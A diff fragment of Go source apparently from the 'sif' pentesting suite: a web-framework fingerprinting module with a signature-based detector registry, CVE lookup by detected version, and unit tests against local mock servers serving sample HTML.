·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package frameworks
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
charmlog "github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/logger"
|
||||
"github.com/dropalldatabases/sif/internal/output"
|
||||
)
|
||||
|
||||
// detectionThreshold is the minimum confidence for a detection to be reported.
|
||||
const detectionThreshold = 0.5
|
||||
|
||||
// maxBodySize limits response body to prevent memory exhaustion.
|
||||
const maxBodySize = 5 * 1024 * 1024
|
||||
|
||||
// detectionResult holds the result from a single detector.
|
||||
type detectionResult struct {
|
||||
name string
|
||||
confidence float32
|
||||
version string
|
||||
}
|
||||
|
||||
// DetectFramework runs all registered detectors against the target URL.
|
||||
func DetectFramework(url string, timeout time.Duration, logdir string) (*FrameworkResult, error) {
|
||||
log := output.Module("FRAMEWORK")
|
||||
log.Start()
|
||||
|
||||
spin := output.NewSpinner("Detecting frameworks")
|
||||
spin.Start()
|
||||
|
||||
client := &http.Client{Timeout: timeout}
|
||||
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
spin.Stop()
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, maxBodySize))
|
||||
if err != nil {
|
||||
spin.Stop()
|
||||
return nil, err
|
||||
}
|
||||
bodyStr := string(body)
|
||||
|
||||
// Get all registered detectors
|
||||
detectors := GetDetectors()
|
||||
if len(detectors) == 0 {
|
||||
spin.Stop()
|
||||
log.Warn("No framework detectors registered")
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// Run all detectors concurrently
|
||||
results := make(chan detectionResult, len(detectors))
|
||||
var wg sync.WaitGroup
|
||||
|
||||
for _, detector := range detectors {
|
||||
wg.Add(1)
|
||||
go func(d Detector) {
|
||||
defer wg.Done()
|
||||
confidence, version := d.Detect(bodyStr, resp.Header)
|
||||
results <- detectionResult{
|
||||
name: d.Name(),
|
||||
confidence: confidence,
|
||||
version: version,
|
||||
}
|
||||
}(detector)
|
||||
}
|
||||
|
||||
// Close results channel when all goroutines complete
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(results)
|
||||
}()
|
||||
|
||||
// Find the best match
|
||||
var best detectionResult
|
||||
for r := range results {
|
||||
if r.confidence > best.confidence {
|
||||
best = r
|
||||
}
|
||||
}
|
||||
|
||||
spin.Stop()
|
||||
|
||||
if best.confidence <= detectionThreshold {
|
||||
log.Info("No framework detected with sufficient confidence")
|
||||
log.Complete(0, "detected")
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// Get version match details
|
||||
versionMatch := ExtractVersionOptimized(bodyStr, best.name)
|
||||
cves, suggestions := getVulnerabilities(best.name, best.version)
|
||||
|
||||
result := NewFrameworkResult(best.name, best.version, best.confidence, versionMatch.Confidence)
|
||||
result.WithVulnerabilities(cves, suggestions)
|
||||
|
||||
// Log results
|
||||
if logdir != "" {
|
||||
logEntry := fmt.Sprintf("Detected framework: %s (version: %s, confidence: %.2f, version_confidence: %.2f)\n",
|
||||
best.name, best.version, best.confidence, versionMatch.Confidence)
|
||||
if len(cves) > 0 {
|
||||
logEntry += fmt.Sprintf(" Risk Level: %s\n", result.RiskLevel)
|
||||
logEntry += fmt.Sprintf(" CVEs: %v\n", cves)
|
||||
logEntry += fmt.Sprintf(" Recommendations: %v\n", suggestions)
|
||||
}
|
||||
logger.Write(url, logdir, logEntry)
|
||||
}
|
||||
|
||||
log.Success("Detected %s framework (version: %s, confidence: %.2f)",
|
||||
output.Highlight.Render(best.name), best.version, best.confidence)
|
||||
|
||||
if versionMatch.Confidence > 0 {
|
||||
charmlog.Debugf("Version detected from: %s (confidence: %.2f)",
|
||||
versionMatch.Source, versionMatch.Confidence)
|
||||
}
|
||||
|
||||
if len(cves) > 0 {
|
||||
log.Warn("Risk level: %s", output.SeverityHigh.Render(result.RiskLevel))
|
||||
for _, cve := range cves {
|
||||
log.Warn("Found potential vulnerability: %s", output.Highlight.Render(cve))
|
||||
}
|
||||
for _, suggestion := range suggestions {
|
||||
log.Info("Recommendation: %s", suggestion)
|
||||
}
|
||||
}
|
||||
|
||||
log.Complete(1, "detected")
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// getVulnerabilities returns CVEs and recommendations for a framework version.
|
||||
func getVulnerabilities(framework, version string) ([]string, []string) {
|
||||
entries, exists := knownCVEs[framework]
|
||||
if !exists {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var cves []string
|
||||
var recommendations []string
|
||||
seenRecs := make(map[string]bool)
|
||||
|
||||
for _, entry := range entries {
|
||||
for _, affectedVer := range entry.AffectedVersions {
|
||||
if version == affectedVer || hasPrefix(version, affectedVer) {
|
||||
cves = append(cves, fmt.Sprintf("%s (%s)", entry.CVE, entry.Severity))
|
||||
for _, rec := range entry.Recommendations {
|
||||
if !seenRecs[rec] {
|
||||
recommendations = append(recommendations, rec)
|
||||
seenRecs[rec] = true
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return cves, recommendations
|
||||
}
|
||||
|
||||
// hasPrefix is a simple prefix check without importing strings.
|
||||
func hasPrefix(s, prefix string) bool {
|
||||
return len(s) >= len(prefix) && s[:len(prefix)] == prefix
|
||||
}
|
||||
@@ -0,0 +1,520 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package frameworks_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/dropalldatabases/sif/internal/scan/frameworks"
|
||||
// Import detectors to register them via init()
|
||||
_ "github.com/dropalldatabases/sif/internal/scan/frameworks/detectors"
|
||||
)
|
||||
|
||||
func TestExtractVersion_Laravel(t *testing.T) {
|
||||
tests := []struct {
|
||||
body string
|
||||
expected string
|
||||
}{
|
||||
{"Laravel 8.0.0", "8.0.0"},
|
||||
{"Laravel v9.52.1", "9.52.1"},
|
||||
{"Laravel 10.0", "10.0"},
|
||||
{"no version here", "unknown"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
result := frameworks.ExtractVersionOptimized(tt.body, "Laravel").Version
|
||||
if result != tt.expected {
|
||||
t.Errorf("ExtractVersionOptimized(%q, 'Laravel') = %q, want %q", tt.body, result, tt.expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractVersion_Django(t *testing.T) {
|
||||
tests := []struct {
|
||||
body string
|
||||
expected string
|
||||
}{
|
||||
{"Django 4.2.0", "4.2.0"},
|
||||
{"Django/3.2.1", "3.2.1"},
|
||||
{"no version", "unknown"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
result := frameworks.ExtractVersionOptimized(tt.body, "Django").Version
|
||||
if result != tt.expected {
|
||||
t.Errorf("ExtractVersionOptimized(%q, 'Django') = %q, want %q", tt.body, result, tt.expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractVersion_NextJS(t *testing.T) {
|
||||
tests := []struct {
|
||||
body string
|
||||
expected string
|
||||
}{
|
||||
{"Next.js 13.4.0", "13.4.0"},
|
||||
{"Next.js/14.0.1", "14.0.1"},
|
||||
{"no version", "unknown"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
result := frameworks.ExtractVersionOptimized(tt.body, "Next.js").Version
|
||||
if result != tt.expected {
|
||||
t.Errorf("ExtractVersionOptimized(%q, 'Next.js') = %q, want %q", tt.body, result, tt.expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_NextJS(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("Content-Type", "text/html")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head><title>Test</title></head>
|
||||
<body>
|
||||
<script id="__NEXT_DATA__" type="application/json">{"props":{}}</script>
|
||||
<script src="/_next/static/chunks/main.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Next.js" {
|
||||
t.Errorf("expected framework 'Next.js', got '%s'", result.Name)
|
||||
}
|
||||
if result.Confidence <= 0 {
|
||||
t.Error("expected positive confidence")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Express(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("X-Powered-By", "Express")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`<!DOCTYPE html><html><body>Hello</body></html>`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Express.js" {
|
||||
t.Errorf("expected framework 'Express.js', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_WordPress(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<link rel="stylesheet" href="/wp-content/themes/theme/style.css">
|
||||
<script src="/wp-includes/js/jquery.js"></script>
|
||||
</head>
|
||||
<body></body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "WordPress" {
|
||||
t.Errorf("expected framework 'WordPress', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_ASPNET(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.Header().Set("X-AspNet-Version", "4.0.30319")
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
<input type="hidden" name="__VIEWSTATE" value="abc123">
|
||||
<input type="hidden" name="__EVENTVALIDATION" value="xyz789">
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "ASP.NET" {
|
||||
t.Errorf("expected framework 'ASP.NET', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_NoMatch(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`<!DOCTYPE html><html><body>Simple page</body></html>`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
// result can be nil or have low confidence for unrecognized frameworks
|
||||
if result != nil && result.Confidence > 0.6 {
|
||||
t.Errorf("expected low confidence or nil result for plain HTML, got %s with %.2f", result.Name, result.Confidence)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFrameworkResult_Fields(t *testing.T) {
|
||||
result := frameworks.NewFrameworkResult("Laravel", "9.0.0", 0.85, 0.9)
|
||||
result.WithVulnerabilities([]string{"CVE-2021-3129"}, []string{"Update to latest version"})
|
||||
|
||||
if result.Name != "Laravel" {
|
||||
t.Errorf("expected Name 'Laravel', got '%s'", result.Name)
|
||||
}
|
||||
if result.Version != "9.0.0" {
|
||||
t.Errorf("expected Version '9.0.0', got '%s'", result.Version)
|
||||
}
|
||||
if result.Confidence != 0.85 {
|
||||
t.Errorf("expected Confidence 0.85, got %f", result.Confidence)
|
||||
}
|
||||
if result.VersionConfidence != 0.9 {
|
||||
t.Errorf("expected VersionConfidence 0.9, got %f", result.VersionConfidence)
|
||||
}
|
||||
if len(result.CVEs) != 1 {
|
||||
t.Errorf("expected 1 CVE, got %d", len(result.CVEs))
|
||||
}
|
||||
if len(result.Suggestions) != 1 {
|
||||
t.Errorf("expected 1 suggestion, got %d", len(result.Suggestions))
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractVersionWithConfidence(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
framework string
|
||||
wantVer string
|
||||
minConf float32
|
||||
}{
|
||||
{"Laravel explicit", "Laravel 8.0.0", "Laravel", "8.0.0", 0.8},
|
||||
{"Angular ng-version", `<html ng-version="14.2.0">`, "Angular", "14.2.0", 0.9},
|
||||
{"WordPress generator", `<meta name="generator" content="WordPress 6.1.0">`, "WordPress", "6.1.0", 0.9},
|
||||
{"Vue CDN", "vue@3.2.0/dist", "Vue.js", "3.2.0", 0.7},
|
||||
{"No version", "Hello World", "Laravel", "unknown", 0},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := frameworks.ExtractVersionOptimized(tt.body, tt.framework)
|
||||
if result.Version != tt.wantVer {
|
||||
t.Errorf("ExtractVersionOptimized() version = %q, want %q", result.Version, tt.wantVer)
|
||||
}
|
||||
if result.Confidence < tt.minConf {
|
||||
t.Errorf("ExtractVersionOptimized() confidence = %f, want >= %f", result.Confidence, tt.minConf)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetermineRiskLevel(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
cves []string
|
||||
expected string
|
||||
}{
|
||||
{"no CVEs", []string{}, "low"},
|
||||
{"critical", []string{"CVE-2021-3129 (critical)"}, "critical"},
|
||||
{"high", []string{"CVE-2023-22795 (high)"}, "high"},
|
||||
{"medium", []string{"CVE-2023-46298 (medium)"}, "medium"},
|
||||
{"mixed - critical wins", []string{"CVE-2023-1 (medium)", "CVE-2021-3129 (critical)"}, "critical"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
// Test via WithVulnerabilities which uses determineRiskLevel internally
|
||||
result := frameworks.NewFrameworkResult("Test", "1.0", 0.5, 0.5)
|
||||
result.WithVulnerabilities(tt.cves, nil)
|
||||
if result.RiskLevel != tt.expected {
|
||||
t.Errorf("determineRiskLevel() = %q, want %q", result.RiskLevel, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Vue(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head><title>Vue App</title></head>
|
||||
<body>
|
||||
<div id="app" data-v-12345>
|
||||
<div v-cloak>Loading...</div>
|
||||
</div>
|
||||
<script src="https://unpkg.com/vue@3.2.0/dist/vue.global.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Vue.js" {
|
||||
t.Errorf("expected framework 'Vue.js', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Angular(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html ng-version="15.0.0">
|
||||
<head><title>Angular App</title></head>
|
||||
<body>
|
||||
<app-root _nghost-abc-c123 _ngcontent-abc-c123></app-root>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Angular" {
|
||||
t.Errorf("expected framework 'Angular', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_React(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head><title>React App</title></head>
|
||||
<body>
|
||||
<div id="root" data-reactroot="">Content</div>
|
||||
<script src="/static/js/react-dom.production.min.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "React" {
|
||||
t.Errorf("expected framework 'React', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Svelte(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head><title>Svelte App</title></head>
|
||||
<body>
|
||||
<div id="app" class="__svelte-123">
|
||||
<span class="svelte-abc123">Content</span>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Svelte" {
|
||||
t.Errorf("expected framework 'Svelte', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Joomla(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="generator" content="Joomla! - Open Source Content Management">
|
||||
<script src="/media/jui/js/jquery.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<div class="Joomla">Content</div>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Joomla" {
|
||||
t.Errorf("expected framework 'Joomla', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Astro(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html data-astro-transition="forward">
|
||||
<head>
|
||||
<meta name="generator" content="Astro v5.16.6">
|
||||
<link rel="stylesheet" href="/_astro/index.abc123.css">
|
||||
</head>
|
||||
<body>
|
||||
<astro-island data-astro-cid-xyz789 data-astro-source-file="src/components/Counter.astro">
|
||||
<div>Content</div>
|
||||
</astro-island>
|
||||
<nav>
|
||||
<a href="/about" data-astro-history="push">About</a>
|
||||
<a href="/external" data-astro-reload>External</a>
|
||||
</nav>
|
||||
<script src="/_astro/hoisted.def456.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := frameworks.DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Astro" {
|
||||
t.Errorf("expected framework 'Astro', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtractVersion_Astro(t *testing.T) {
|
||||
tests := []struct {
|
||||
body string
|
||||
expected string
|
||||
}{
|
||||
{`<meta name="generator" content="Astro v4.2.0">`, "4.2.0"},
|
||||
{`<meta name="generator" content="Astro 3.5.1">`, "3.5.1"},
|
||||
{"Astro 4.0.0", "4.0.0"},
|
||||
{"Astro/3.2.1", "3.2.1"},
|
||||
{`"astro": "^4.1.0"`, "4.1.0"},
|
||||
{`"astro": "~3.0.5"`, "3.0.5"},
|
||||
{"no version", "unknown"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
result := frameworks.ExtractVersionOptimized(tt.body, "Astro").Version
|
||||
if result != tt.expected {
|
||||
t.Errorf("ExtractVersionOptimized(%q, 'Astro') = %q, want %q", tt.body, result, tt.expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCVEEntry_Fields(t *testing.T) {
|
||||
entry := frameworks.CVEEntry{
|
||||
CVE: "CVE-2021-3129",
|
||||
AffectedVersions: []string{"8.0.0", "8.0.1"},
|
||||
FixedVersion: "8.4.2",
|
||||
Severity: "critical",
|
||||
Description: "RCE vulnerability",
|
||||
Recommendations: []string{"Update immediately"},
|
||||
}
|
||||
|
||||
if entry.CVE != "CVE-2021-3129" {
|
||||
t.Errorf("expected CVE 'CVE-2021-3129', got '%s'", entry.CVE)
|
||||
}
|
||||
if len(entry.AffectedVersions) != 2 {
|
||||
t.Errorf("expected 2 affected versions, got %d", len(entry.AffectedVersions))
|
||||
}
|
||||
if entry.Severity != "critical" {
|
||||
t.Errorf("expected Severity 'critical', got '%s'", entry.Severity)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectorRegistry(t *testing.T) {
|
||||
detectors := frameworks.GetDetectors()
|
||||
if len(detectors) == 0 {
|
||||
t.Fatal("expected registered detectors, got none")
|
||||
}
|
||||
|
||||
// Check that some expected detectors are registered
|
||||
expectedDetectors := []string{"Laravel", "Django", "React", "Vue.js", "Angular", "Next.js", "WordPress", "Astro"}
|
||||
for _, name := range expectedDetectors {
|
||||
if _, ok := frameworks.GetDetector(name); !ok {
|
||||
t.Errorf("expected detector %q to be registered", name)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,145 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
/*
|
||||
|
||||
BSD 3-Clause License
|
||||
(c) 2022-2025 vmfunc, xyzeva & contributors
|
||||
|
||||
*/
|
||||
|
||||
package frameworks
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// Signature represents a pattern to match for framework detection.
|
||||
type Signature struct {
|
||||
Pattern string
|
||||
Weight float32
|
||||
HeaderOnly bool
|
||||
}
|
||||
|
||||
// Detector is the interface for framework detection plugins.
|
||||
type Detector interface {
|
||||
// Name returns the unique framework name.
|
||||
Name() string
|
||||
// Signatures returns patterns to search for this framework.
|
||||
Signatures() []Signature
|
||||
// Detect performs detection and returns confidence (0.0-1.0) and version.
|
||||
// The version can be empty if not detectable.
|
||||
Detect(body string, headers http.Header) (confidence float32, version string)
|
||||
}
|
||||
|
||||
// registry holds all registered detectors.
|
||||
var (
|
||||
registryMu sync.RWMutex
|
||||
registry = make(map[string]Detector)
|
||||
)
|
||||
|
||||
// Register adds a detector to the registry. Should be called from init().
|
||||
func Register(d Detector) {
|
||||
registryMu.Lock()
|
||||
defer registryMu.Unlock()
|
||||
registry[d.Name()] = d
|
||||
}
|
||||
|
||||
// GetDetectors returns all registered detectors.
|
||||
func GetDetectors() map[string]Detector {
|
||||
registryMu.RLock()
|
||||
defer registryMu.RUnlock()
|
||||
|
||||
// Return a copy to prevent mutation
|
||||
result := make(map[string]Detector, len(registry))
|
||||
for k, v := range registry {
|
||||
result[k] = v
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// GetDetector returns a specific detector by name.
|
||||
func GetDetector(name string) (Detector, bool) {
|
||||
registryMu.RLock()
|
||||
defer registryMu.RUnlock()
|
||||
d, ok := registry[name]
|
||||
return d, ok
|
||||
}
|
||||
|
||||
// BaseDetector provides common functionality for detector implementations.
|
||||
type BaseDetector struct {
|
||||
name string
|
||||
signatures []Signature
|
||||
}
|
||||
|
||||
// NewBaseDetector creates a new base detector.
|
||||
func NewBaseDetector(name string, signatures []Signature) BaseDetector {
|
||||
return BaseDetector{name: name, signatures: signatures}
|
||||
}
|
||||
|
||||
// Name returns the framework name.
|
||||
func (b BaseDetector) Name() string {
|
||||
return b.name
|
||||
}
|
||||
|
||||
// Signatures returns the detection signatures.
|
||||
func (b BaseDetector) Signatures() []Signature {
|
||||
return b.signatures
|
||||
}
|
||||
|
||||
// MatchSignatures checks body and headers against signatures and returns a weighted score.
|
||||
func (b BaseDetector) MatchSignatures(body string, headers http.Header) float32 {
|
||||
var weightedScore float32
|
||||
var totalWeight float32
|
||||
|
||||
for _, sig := range b.signatures {
|
||||
totalWeight += sig.Weight
|
||||
|
||||
if sig.HeaderOnly {
|
||||
if containsHeader(headers, sig.Pattern) {
|
||||
weightedScore += sig.Weight
|
||||
}
|
||||
} else if strings.Contains(body, sig.Pattern) {
|
||||
weightedScore += sig.Weight
|
||||
}
|
||||
}
|
||||
|
||||
if totalWeight == 0 {
|
||||
return 0
|
||||
}
|
||||
|
||||
return weightedScore / totalWeight
|
||||
}
|
||||
|
||||
// containsHeader checks if a signature pattern exists in headers.
|
||||
func containsHeader(headers http.Header, signature string) bool {
|
||||
sigLower := strings.ToLower(signature)
|
||||
|
||||
// Check header names
|
||||
for name := range headers {
|
||||
if strings.Contains(strings.ToLower(name), sigLower) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// Check header values
|
||||
for _, values := range headers {
|
||||
for _, value := range values {
|
||||
if strings.Contains(strings.ToLower(value), sigLower) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,488 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
